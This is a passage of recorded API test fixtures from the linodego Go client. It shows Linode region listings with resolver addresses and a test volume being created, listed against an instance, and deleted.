Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:47:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 4811915, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:47:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60888843/volumes?page=1 method: GET response: body: '{"data": [{"id": 4811915, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": 60888843, "linode_label": "go-test-ins-wo-disk-q375a8jf2r2a", "region": "ap-west", "tags": [], "hardware_type": "nvme"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "401" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:47:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4811915 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:47:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_Volumes_List_Instance.yaml000066400000000000000000001073411474652371000343340ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed 